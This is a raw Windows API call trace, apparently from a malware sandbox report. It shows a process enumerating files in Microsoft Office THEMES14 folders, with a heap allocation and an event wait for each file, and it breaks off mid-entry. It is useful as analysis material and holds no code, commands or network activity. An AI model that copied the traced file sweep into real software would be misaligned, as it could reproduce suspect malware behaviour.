ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0268.705] GetProcessHeap () returned 0x550000 [0268.705] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.705] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.705] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.705] ResetEvent (hEvent=0xe0) returned 1 [0268.705] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.707] ResetEvent (hEvent=0xe0) returned 1 [0268.707] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.798] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0268.798] ResetEvent (hEvent=0xe0) returned 1 [0268.798] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.812] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0268.814] ResetEvent (hEvent=0xe0) returned 1 [0268.814] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.817] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.817] ResetEvent (hEvent=0xe0) returned 1 [0268.817] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.819] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.819] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.819] GetProcessHeap () returned 0x550000 [0268.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.819] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0268.819] GetProcessHeap () returned 0x550000 [0268.819] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.820] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.820] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.820] ResetEvent (hEvent=0xe0) returned 1 [0268.820] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.822] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0268.822] ResetEvent (hEvent=0xe0) returned 1 [0268.822] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.824] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0268.824] ResetEvent (hEvent=0xe0) returned 1 [0268.824] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.826] ResetEvent (hEvent=0xe0) returned 1 [0268.826] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.828] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.828] ResetEvent (hEvent=0xe0) returned 1 [0268.828] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.830] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.830] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.830] GetProcessHeap () returned 0x550000 [0268.830] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.830] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0268.830] GetProcessHeap () returned 0x550000 [0268.830] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.831] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.831] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.831] ResetEvent (hEvent=0xe0) returned 1 [0268.831] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.833] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0268.833] ResetEvent (hEvent=0xe0) returned 1 [0268.833] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.835] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0268.835] ResetEvent (hEvent=0xe0) returned 1 [0268.835] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.837] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.837] ResetEvent (hEvent=0xe0) returned 1 [0268.837] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.839] ResetEvent (hEvent=0xe0) returned 1 [0268.839] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.840] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.840] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.841] GetProcessHeap () returned 0x550000 [0268.841] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.841] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0268.841] GetProcessHeap () returned 0x550000 [0268.841] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.841] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.841] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.841] ResetEvent (hEvent=0xe0) returned 1 [0268.841] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.843] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0268.843] ResetEvent (hEvent=0xe0) returned 1 [0268.843] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.848] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0268.849] ResetEvent (hEvent=0xe0) returned 1 [0268.849] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.850] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.851] ResetEvent (hEvent=0xe0) returned 1 [0268.851] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.852] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0268.852] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0268.853] GetProcessHeap () returned 0x550000 [0268.853] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0268.853] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0268.853] GetProcessHeap () returned 0x550000 [0268.853] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0268.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0268.853] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.853] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0268.853] ResetEvent (hEvent=0xe0) returned 1 [0268.854] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.855] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0268.855] ResetEvent (hEvent=0xe0) returned 1 [0268.856] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.857] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0268.857] ResetEvent (hEvent=0xe0) returned 1 [0268.858] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0268.860] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0268.860] ResetEvent (hEvent=0xe0) 